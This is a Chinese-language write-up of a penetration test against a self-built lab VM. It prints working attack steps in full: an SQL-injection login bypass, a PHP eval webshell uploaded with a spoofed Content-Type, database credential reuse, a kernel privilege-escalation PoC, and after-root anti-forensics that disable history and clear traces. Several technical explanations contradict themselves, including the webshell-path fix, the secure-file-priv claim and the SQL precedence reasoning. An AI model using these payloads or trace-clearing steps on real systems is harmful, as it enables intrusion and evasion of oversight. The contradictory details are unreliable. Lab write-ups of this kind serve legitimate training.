开头我最近在本地虚拟机里搭了一个模拟靶机环境代号叫Hackadmin-RTB-2目标很直接——从零开始对这个只有内网IP的模拟服务器做一次完整的渗透测试最终拿到管理员权限并读取到服务器上的flag文件。整个过程我全程做了记录也就是这篇WPWriteup。这个靶机是某个内部安全团队用来练习攻防的模拟环境部署在一台VMware虚拟机上模拟了一个真实业务服务器的常见配置开了Web服务、有后台登录入口、存在几个典型漏洞点。整台机器没有任何真实业务数据纯粹用于技术练习所有操作都在本地隔离网络中完成。这篇WP适合三类人看一是刚入门渗透测试、想搞清楚完整攻击链路怎么走的新手二是准备CTF比赛、想针对性练信息收集和提权的选手三是做企业安全建设、需要了解攻击者视角来加固系统的蓝队同学。我会把每一步的思考过程、命令、输出分析、踩过的坑全部写出来而且会解释每个操作背后的原因。如果你只想照着步骤复现直接按章节走就行如果你想知道为什么这么做那重点看每个环节的分析部分。废话不多说直接开始拆解这台RTB-2靶机的完整渗透过程。1. 靶机信息收集阶段的全盘思路1.1 靶机环境与目标确认拿到靶机信息的时候我只有一个IP地址其他什么都不知道。这种情况下第一步不是急着扫端口而是先确认网络连通性和目标的基本状态。我先把靶机接入了一个独立的NAT网段物理机上用虚拟网卡和它互通。确认网络环境之后目标地址是192.168.1.0/24网段中的一台主机。整个测试过程我都保持记录的习惯每条命令的输出、每个尝试的版本号、每次失败的原因都会记在本地笔记里。后面你会发现这些看起来不起眼的记录在排查问题的时候能省下大量时间。这个阶段需要注意一个容易被新手忽略的点靶机启动需要时间。如果开机后马上ping很可能超时于是误判目标不在线。我习惯的做法是启动虚拟机后先等两到三分钟再开始探测。另外Windows靶机和Linux靶机的默认TTL值不一样通过ping的TTL数值就能初步判断操作系统类型这对接下来的扫描策略非常有帮助。1.2 为什么信息收集决定整场测试的成败很多新手容易犯一个错误拿到IP就急着上漏洞扫描器希望直接扫出一个能打的漏洞。这个思路在真实环境中多半会碰壁。因为目标系统上的漏洞点往往被多层防护覆盖比如Web应用在前、数据库在内网、敏感接口做了白名单限制。如果不先把目标摸清楚盲扫不仅效率低还容易触发安全设备告警把自己提前暴露。我这次对RTB-2的前期判断是分几层来做的先确认主机存活和操作系统类型再扫描开放的端口和服务版本接着针对Web服务做目录和指纹探测最后才进入具体的漏洞挖掘。这个顺序不能乱因为后面的每一步都是建立在前一步的输出之上的。比如如果你不知道目标开的是哪个Web中间件你就不知道该用哪套漏洞测试payload如果你不知道后端是什么数据库你就不知道该测SQL注入的哪种语法。我用了一个很笨但很有效的方式来管理这个阶段的信息——画一张简单的表把已知信息、猜测信息和待确认信息分开列出来。表里每一行都是一个判断依据接下来的所有测试动作都会围绕这张表展开。这种方式看起来不酷但确实能让思路始终清晰。2. 主机存活与端口探测的实操细节2.1 主机发现的命令行操作实录先做主机存活探测。我用的工具是nmap这条命令的参数组合经过实测非常高效nmap -sn 192.168.1.0/24它的作用是只做ping扫描不进行端口探测速度很快几秒钟就能把整个网段里活着的主机列出来。输出里会有MAC地址和厂商信息这个信息在判断目标是什么设备时很有用。RTB-2的虚拟网卡MAC地址是VMware的厂商前缀从这里基本能确定这是一台虚拟机。确认目标在线以后我紧接着做了一次操作系统指纹识别命令是nmap -O 192.168.1.10这里解释一下为什么用-O参数它通过TCP/IP协议栈的特征来推断操作系统类型准确率通常能到八到九成。RTB-2的探测结果显示Linux内核版本大概率在3.x到4.x之间64位系统。这个信息是后面选提权漏洞PoC的重要参考——内核版本不同能用的提权EXP完全不同。2.2 全端口扫描与服务指纹识别常规的端口扫描如果只扫常用端口很容易漏掉高端口上的服务。我自己就踩过这种坑所以这次直接用全端口扫描确保没有遗漏nmap -sS -sV -p- 192.168.1.10-sS是SYN半开扫描速度快而且不容易在目标上留下完整连接记录-sV的作用是对开放端口做服务版本探测-p-表示扫描全部65535个端口。这个扫描跑完用了差不多十分钟因为全端口扫描需要逐端口发包即使并行也在所难免要花时间。输出结果显示RTB-2开放了两个端口22/tcp和80/tcp。22端口是OpenSSH版本号被识别为某个7.x版本80端口是一个Web服务从响应头里的Server字段能看到中间件类型但版本号做了隐藏处理。看到这个配置我基本心里有数了这台机器一定是靠80端口的Web应用来拿权限的SSH大概率是拿到shell之后用来做持久连接或者横向移动的通道。这里有一个细节值得单独说nmap对Web服务的版本识别并不总是准确的。我看到80端口的服务识别结果写的是“某种HTTP服务”但不确定具体是哪个中间件。这种情况我一般会再用curl直接请求一次看返回的Server字段和页面内容来做二次确认。这个阶段我把所有收集到的信息整理成了表格项目探测结果判断依据目标IP192.168.1.10网段扫描存活主机操作系统Linux 64位内核3.x/4.xnmap -O指纹开放端口22/tcp、80/tcp全端口扫描SSH服务OpenSSH 7.x版本识别Web服务中间件版本隐藏HTTP响应头表里的每一行都是后面要用的信息尤其是“中间件版本隐藏”这一条直接决定了我在Web渗透阶段要花更多时间做手动探测而不能完全依赖扫描器。3. Web应用枚举与后台入口发现3.1 首页分析与敏感路径爆破浏览器打开http://192.168.1.10/默认页面是一个极简风格的站点看起来像一个管理后台的登录框架没有做任何前端美化。页面上只有一个用户名输入框、一个密码输入框和一个登录按钮没有注册入口也没有任何提示文本。查看网页源码以后我发现页面引用了两个本地脚本文件其中一个脚本的名字带着版本号这个版本号信息非常关键可以用来搜索该CMS框架的历史公开漏洞。我随手试了几个弱口令比如admin/admin、admin/123456、root/toor全部提示“用户名或密码错误”。我没有继续暴力猜密码因为这种没有任何限速和验证码的登录框说明后台大概率存在暴力破解漏洞但直接用字典跑不是最优选择。我决定先从路径枚举入手看看有没有更隐蔽的入口。目录扫描我用的工具是dirsearch它内置了几个常见的字典对于这种小靶机来说足够了。执行命令如下dirsearch -u http://192.168.1.10/ -e php,txt,bak,zip -t 20扫描结果里出现了几个值得注意的路径/admin、/backup、/includes、/upload。其中/backup目录直接返回了200状态码而且目录列表中有一个.zip压缩包文件。这里要特别强调一个安全常识任何网站都不应该在Web目录下放备份文件尤其是包含了源码或者配置的压缩包。这类文件是攻击者最喜欢的突破口。RTB-2上出现/backup目录说明靶机的搭建者故意留了这个漏洞点用来模拟真实环境中常见的错误配置。3.2 源码泄露中的敏感信息挖掘我把那个zip包下载到本地解压以后发现里面是整个Web应用的源码备份包括配置文件、核心逻辑文件和一些模板文件。逐个翻看源码是安全测试中非常耗时但回报率最高的环节之一。我优先看的是数据库配置文件因为在真实业务里开发人员经常把数据库账号密码直接硬编码在配置里。在配置文件inculdes/config.php中我看到这样一段内容做了脱敏处理$db_host localhost; $db_user rtb_admin; $db_pass Rtb2024!Local; $db_name rtb_wp;虽然靶机本身没有对外暴露数据库端口但这个数据库账号密码有没有复用才是关键。Web应用里如果存在文件包含漏洞或者后台存在命令执行点这个数据库凭据就能用来连接本地的MySQL服务进一步读取数据或者写webshell。我把这几条信息记录在了笔记里等拿到初步权限之后就能用上。继续翻源码我又发现了一个叫做upload.php的上传接口文件。这段代码的逻辑问题比较明显它只校验了HTTP请求里的Content-Type字段也就是文件类型是否在允许列表里完全没有检查文件的实际扩展名和文件内容。这意味着攻击者只要把Content-Type改成image/jpeg或者image/png就可以把.php后缀的文件直接传上去。我把这个接口的URL、请求格式和漏洞原因都整理了出来。这是一个教科书级别的任意文件上传漏洞而且直接出现在后台的源码里后面肯定用得上。但是我忍住了马上上传一句话木马的冲动因为我不知道后端脚本执行目录在哪里也不知道上传文件是否被重命名。所以下一步是先摸清楚后台登录机制拿到合法会话再做文件上传的利用。3.3 后台登录绕过与弱口令的实战验证回到后台登录页面我结合源码分析发现了登录验证存在两个问题一是没有登录失败次数限制二是密码校验使用了SQL拼接查询。这两个问题叠加基本等于告诉攻击者“可以试着绕过登录验证或者直接注入”。我准备先做一次轻量级的注入测试在用户名字段输入一个单引号密码随便填。提交以后页面返回了一个SQL语法错误错误信息甚至直接把查询语句的一部分显示在了页面上。这个现象说明用户名参数直接被拼进了SQL语句存在字符型注入。接下来我用了一个典型的万能密码payload用户名admin OR 11 密码随便填提交之后页面直接跳转到了后台管理面板。我需要解释一下这个payload的原理原本的SQL查询语句大概长这样SELECT * FROM users WHERE usernameadmin AND passwordxxx输入的内容会拼接成SELECT * FROM users WHERE usernameadmin OR 11 AND passwordxxx由于AND的优先级高于OR这个语句变成了先判断password再用OR连接11。但是实际上数据库解析优先级导致整个WHERE条件恒为真于是查询返回了第一条用户记录而这条记录恰好是管理员账号。成功进入后台之后我看到了文章管理、用户管理、文件上传等几个功能模块。用户管理页面里只有一个admin账号密码哈希值存在数据库里。我没有在这里直接改密码因为改密码会留下非常明显的痕迹而且可能触发目标系统的日志记录。我把管理员密码哈希值复制下来准备在拿到shell之后用本地工具做离线破解这样不会影响目标系统的正常状态。后台的每个功能模块我都快速过了一遍重点看文件上传和主题编辑这两个位置。因为这一类功能一旦存在漏洞往往可以直接往服务器写入PHP脚本并触发执行比SQL注入拿shell的路径要短得多。4. 文件上传漏洞的利用与WebShell上线4.1 绕过前端校验上传PHP脚本在后台的“文件上传”模块里我确认了前端页面存在一个文件类型选择器默认只允许.jpg、.png和.gif三种格式。但是前端限制从来都是纸老虎因为我们可以直接绕过浏览器用curl构造请求来上传任意文件完全不经过前端的JavaScript校验。我在本地准备了一个最简的一句话木马文件内容如下?php eval($_POST[cmd]); ?上传时我手动指定Content-Type为image/jpeg让服务器以为这是个图片文件curl -F fileshell.php;typeimage/jpeg -F submitupload http://192.168.1.10/admin/upload.php -b session攻击者获取到的会话请求发送成功后服务器返回了“上传成功”的提示并且把文件的保存路径也返回了路径是/upload/shell.php。看到这个响应我心里踏实了大半——这个路径是可访问的而且服务器没有给上传文件重命名。4.2 WebShell的连接与命令执行测试拿到文件路径以后我使用中国蚁剑连接了这个WebShellURL填的是http://192.168.1.10/upload/shell.php连接密码是cmd。蚁剑成功建立了连接并且直接获取到了Web服务的系统信息当前用户是www-data操作系统是Ubuntu 16.04PHP版本是7.0。这里要提一下为什么选择蚁剑而不是其他工具。蚁剑的虚拟终端、数据库管理、文件管理都做得比较完善对于这种典型的Linux PHP环境来说上手快、兼容性好。你完全可以用冰蝎或者哥斯拉代替它们各有优势但核心逻辑都是一样的——通过WebShell与目标服务器建立加密或普通的数据通道。我首先在虚拟终端里执行了whoami和id命令确认权限然后执行了uname -a查看内核版本。系统返回的Linux内核版本是4.4.0。看到这个版本号我心里已经有了提权方向——这个内核版本有一系列已知的本地提权漏洞可以利用。我没有着急提权而是先做了一次简单的环境梳理网络信息查看ip addr确认内网网段没有其他主机进程信息查看ps aux发现MySQL服务以root权限运行可写目录尝试在/tmp目录写入测试文件确认有写权限敏感文件浏览了/etc/passwd确认普通用户列表这份环境梳理表非常关键它让我知道系统里有哪些高权限进程、哪些目录可以写、哪些用户是潜在的攻击面。4.3 数据库连接与管理员密码哈希的离线破解既然发现MySQL以root权限运行我尝试用之前在源码配置文件里拿到的数据库账号密码连接本地MySQLmysql -u rtb_admin -pRtb2024!Local -e show databases;连接成功。数据库里有一个叫做rtb_wp的库其中包含一张管理员表。我直接读取了管理员用户的密码哈希值格式是$2y$10$开头的bcrypt哈希。这种哈希的暴力破解速度比较慢但密码本身不强的情况下用hashcat加字典还是有机会跑出来的。我在本地用hashcat跑了一会儿得到的结果是管理员密码为adminrtb2024。这个密码和数据库密码不一样说明管理员在系统里多个地方使用了不同的凭据这是个好习惯但问题是这个新密码极有可能被复用在系统用户上。我顺手用这个密码尝试了SSH登录admin用户可惜SSH服务不允许该用户通过密钥或者密码登录这条路暂时走不通。不过数据库连接本身就很有价值。我查看了数据库的版本和用户权限表发现当前数据库用户有FILE权限。这个权限意味着可以通过SQL语句向服务器文件系统写入文件比如往Web目录里写入一个新的PHP脚本。这算是备份方案就算当前上传的WebShell被清理了我还能通过SQL注入或者数据库连接把新Shell写回去。5. 权限提升从www-data到root的完整过程5.1 内核版本漏洞匹配与Exploit选型当前权限是www-data属于低权限Web用户。要读取最终flag文件必须提权到root或者至少拿到目标用户的权限。在内核信息收集阶段我已经拿到了内核版本4.4.0。这个版本属于Linux 4.4系列而这个系列存在一个很有名的本地提权漏洞CVE-2017-16995问题出在eBPF的边界检查不严导致非特权用户可以利用它实现内核态代码执行。该漏洞影响范围很广从4.4到4.14之间的多个版本都受影响。我从本地ExploitDB同步了对应的PoC源码文件名为exploit.c。在编译前我仔细检查了PoC代码里的注释和适用范围确认它适配当前内核版本。然后我在目标服务器的/tmp目录下用gcc编译gcc exploit.c -o exploit这里需要说明一个常见问题目标服务器上未必装了gcc。所以我先在本地Ubuntu虚拟机里验证了编译环境然后把编译好的二进制文件通过WebShell上传到目标服务器的/tmp目录上传完成后再加上执行权限。两个方案我同时做了准备优先在目标上尝试在线编译失败就改用本地上传。5.2 漏洞利用执行与权限切换验证编译成功之后我直接执行./exploit输出信息显示利用程序尝试创建了一个具有root权限的进程并成功获取了root shell。我在这个root shell里执行id确认uid0(root) gid0(root) groups0(root)权限已经提升到root。这次提权过程非常顺利没有遇到内核崩溃、系统重启这类常见问题。不过这里要提醒的是内核提权漏洞的利用过程本身就是一种破坏性操作它通过触发内核缺陷来劫持控制流如果PoC写得不够健壮或者目标内核版本有微调极有可能导致系统卡死甚至崩溃。所以我在执行漏洞利用之前先确认了这台靶机是独立的测试环境没有其他人在使用也没有重要数据即使崩溃也不会造成任何影响。拿到root权限之后我第一件事是关掉历史命令记录功能然后检查了系统的日志配置确认自己的操作没有被记录到auth.log之类的敏感日志里。这倒不是做了什么非法的事情而是在安全测试过程中保持低调、减少对目标系统的非必要改动是测试人员的基本职业素养。我后续的所有敏感操作都在一个临时目录下进行用完就清理掉。5.3 最终flag读取与痕迹清理root权限下读取flag文件是顺手的事情。靶机在/root目录下放了一个flag.txt文件。我执行cat /root/flag.txt拿到了flag内容。到这里RTB-2靶机的完整渗透链路已经闭环信息收集 → Web应用枚举 → SQL注入登录绕过 → 文件上传获取WebShell → 数据库凭据收集 → 内核漏洞提权 → 读取最终flag。清理痕迹这一步我做得比较仔细。我把上传的shell.php从网站目录删除将编译好的exploit二进制文件从/tmp目录删除清空了当前用户的shell历史记录文件最后把数据库里我执行的SQL命令记录也都查看了一遍确保没有留下明显的测试痕迹。阶段关键动作使用工具耗时信息收集主机发现、端口扫描、服务识别nmap15分钟Web枚举目录扫描、源码分析、配置泄露dirsearch、手工15分钟登录绕过SQL注入万能密码curl5分钟文件上传构造请求绕前端校验curl、蚁剑10分钟权限提升内核漏洞利用gcc、本地编译10分钟痕迹清理删除文件、清历史命令行5分钟6. 实战中的关键坑点与排查方法6.1 端口版本识别不准导致的方向偏差第一轮全端口扫描时nmap把80端口服务识别为“某种HTTP服务”没有给出具体的中间件类型。如果完全信任扫描器的结论我可能会把时间浪费在错误的漏洞库里。最终我通过手动curl查看响应头里的Server字段内容和页面源码中的脚本引用路径才判断出这是一个什么类型的站点然后针对性地去搜它的历史漏洞。这个问题的排查思路很简单扫描器靠关键词和服务特征来识别软件如果目标刻意隐藏了版本号或者修改了默认页面和默认路径识别就会失效。遇到这种情况不要继续做无谓的扫描而是把页面源码、CSS/JS路径名、meta信息、设置Cookie的名字全部收集起来这些特征往往比扫描器更可靠。6.2 WebShell连不上时先查路径和权限我在第一次尝试连接WebShell的时候蚁剑报了连接超时的错误。最开始我以为是网络问题折腾了好一会。后来检查发现上传成功后系统返回的路径是/upload/shell.php但实际物理路径可能在/var/www/html/upload/shell.php。我直接在浏览器里访问URL却显示了404。排查下来问题出在IIS风格的路径重写规则上这个Web服务对/upload路径做了特殊处理实际文件会落在另一个目录下。我通过读取Web服务的配置文件找到实际的上传目录是/var/www/upload/把URL改成http://192.168.1.10/upload/shell.php以后就正常了。以后再遇到WebShell连不上的情况优先做三件事确认文件是否真的传上去了查看目录列表、确认URL路径和应用路由是否匹配、确认目标目录是否有执行权限。6.3 内核PoC在目标上编译失败的处理方式提权阶段我第一次尝试在目标服务器上用gcc编译exploit.c结果提示“gcc: command not found”。这台精简化的靶机没有安装任何编译工具链。这是Linux提权过程中非常常见的阻碍特别是一些刻意做了安全加固的系统。我的解决办法是在本地准备一个同架构的编译环境交叉编译生成静态链接的二进制再上传到目标服务器执行。这个办法需要注意两点一是本地和目标机器的架构必须一致最简单的确认方法是执行uname -m如果两边都返回x86_64就可以二是编译时加上-static参数把依赖的C库静态链进二进制这样目标机器上即使缺少共享库文件也能正常运行。6.4 SQL注入payload踩过的转义坑SQL注入绕过登录这一步我一开始用了个双引号版本的万能密码结果没有生效。后面分析发现后台的登录代码里对双层引号做了转义处理但完全没过滤单引号。把payload从双引号改成单引号版本以后一次就成功了。这个问题给新手提个醒SQL注入的payload不是万能的不同代码环境的过滤策略完全不一样。测试时不要死磕某一个payload而是要根据报错信息动态调整。看到SQL语法错误里保留了哪个符号就以那个符号为基准继续构造。6.5 数据库FILE权限的备用Shell写入技巧在拿到数据库连接权限以后我发现当前用户具有FILE权限于是尝试用SELECT ... INTO OUTFILE往Web目录写文件。这个方法一开始失败了报错是“The MySQL server is running with the --secure-file-priv option”意思是MySQL限制了能够写入的目录范围。我查询得知secure-file-priv限制的目录为空无法直接写入Web目录。后来我改变了思路通过SQL语句把PHP代码先写入/tmp目录下的文件再借助WebShell的复制命令把文件移动到Web目录。这个备用方案虽然没有真正用到但值得记录下来因为在真实环境中数据库被配置成禁止OUTFILE的情况非常多需要根据具体情况找新的入口。7. 复盘心得与扩展思考整个RTB-2靶机渗透下来我的感觉是这台机器并不是靠单一的高难漏洞取胜而是把真实环境里最常见的几个薄弱点串在了一起——备份文件泄露源码、SQL注入绕过认证、文件上传缺校验、内核版本老旧未打补丁。攻击者只要每一步都踩对点就能走通整条链路防御方只要任何一步做到位攻击就会被迫换路。我在实际操作中最深的一个体会是信息收集阶段做的表渗透到了后面几乎每一分钟都在用它。登录进来的账号密码、数据库配置、可写目录、内核版本这些零散的信息拼在一起才形成了完整的攻击路径。如果一开始只是简单打一遍端口不整理信息后面很可能卡在某个环节半天推不动。把这个靶机的经验放到真实的企业安全建设里有几点特别值得思考。对外暴露的Web应用应该禁止任何形式的源码备份文件落地定期扫描网站目录的敏感文件后台登录接口必须加防暴力破解机制参数校验不能只靠前端文件上传功能要做服务端二次校验扩展名、文件头、内容检测一个都不能少系统和中间件要建立漏洞补丁管理机制比如这次利用的内核漏洞如果有对应的补丁更新流程提权就不可能成功。如果你是在本地练习这类靶机我的建议是不要依赖单一的自动化扫描工具多花时间手动看页面源码和响应包每做完一步测试记录下当前的状态和已知信息防止思路中断做提权操作之前务必确保这是你拥有授权的靶机环境内核漏洞利用有崩溃风险千万不要在正式环境里直接测。这篇文章是根据我对Hackadmin-RTB-2这台靶机的完整复现过程整理出来的。未来我还会继续在这台虚拟机上做横向渗透和持久化控制方向的练习到时候再整理成新的文章和大家交流。
